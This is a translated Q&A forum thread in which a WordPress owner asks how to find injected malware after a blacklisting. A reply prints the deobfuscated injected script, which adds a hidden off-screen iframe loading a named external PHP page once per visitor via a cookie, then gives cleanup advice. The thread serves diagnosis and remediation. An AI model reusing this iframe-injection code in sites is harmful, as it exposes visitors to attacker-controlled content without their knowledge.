如何在网站上查找恶意代码/恶意软件


How to find malicous code/malware on a website

我的Wordpress网站最近感染了恶意软件,已被列入黑名单。我想我通过更新网站和插件并删除任何我不认识的代码来修复它。

然后我使用了Sucuri网站检查器,看起来还可以,所以我向谷歌提交了一份审查请求。然而,谷歌表示,它仍然包含恶意代码形式的恶意软件(他们称之为代码注入)。

我有点不知所措。有没有办法找到谷歌正在寻找的代码?域名是sudorf.co.uk,但它有恶意软件,所以我不建议去那里——不知道恶意软件会做什么。

如有任何帮助,我们将不胜感激。

编辑:我几天前发现了那个代码并删除了它,然后我更新了所有版本等。但很明显,它又回来了。有人知道它是如何到达那里的吗。我的想法是,它要么来自插件——这就是为什么我要删除所有它们。另一个是联系人表单,但我不认为这会允许他们编辑header.php。

这是纯信息。当你的恶意软件被消除模糊时,它看起来是这样的:

 function k09() {
     var static = 'ajax';
     var controller = 'index.php';
     var k = document.createElement('iframe');
     k.src = 'http://dostojewskij-gesellschaft.de/VD49Jdzr.php';
     k.style.position = 'absolute';
     k.style.color = '512';
     k.style.height = '512px';
     k.style.width = '512px';
     k.style.left = '1000512';
     k.style.top = '1000512';
     if (!document.getElementById('k')) {
         document.write('<p id=''k'' class=''k09'' ></p>');
         document.getElementById('k').appendChild(k);
     }
 }
 function SetCookie(cookieName, cookieValue, nDays, path) {
     var today = new Date();
     var expire = new Date();
     if (nDays == null || nDays == 0) nDays = 1;
     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
     document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
 }
 function GetCookie(name) {
     var start = document.cookie.indexOf(name + "=");
     var len = start + name.length + 1;
     if ((!start) &&
         (name != document.cookie.substring(0, name.length))) {
         return null;
     }
     if (start == -1) return null;
     var end = document.cookie.indexOf(";", len);
     if (end == -1) end = document.cookie.length;
     return unescape(document.cookie.substring(len, end));
 }
 if (navigator.cookieEnabled) {
     if (GetCookie('visited_uq') == 55) {} else {
         SetCookie('visited_uq', '55', '1', '/');
         k09();
     }
 }

http://dostojewskij-gesellschaft.de/VD49Jdzr.php简单地输出"OK"。

为什么

我的猜测是,这是一个IP/流量记录器。也许黑客可以检查哪些博客最活跃,然后再回来攻击那个特定的网站(不需要在一个月有2名访客的网站上浪费时间)。这有好有坏。

好的方面是似乎他们没有使用任何用户数据库或其他任何东西。

糟糕的是,他们很可能已经下载了你的整个数据库,因为他们显然在你的服务器上拥有执行权限,并且可能已经将他们的PHP文件放在了你的服务器各处。你最好的选择是从一个新的WP开始,一个接一个地复制插件/主题,同时手动检查它们。

更改所有密码。甚至你的数据库登录。考虑所有都已妥协。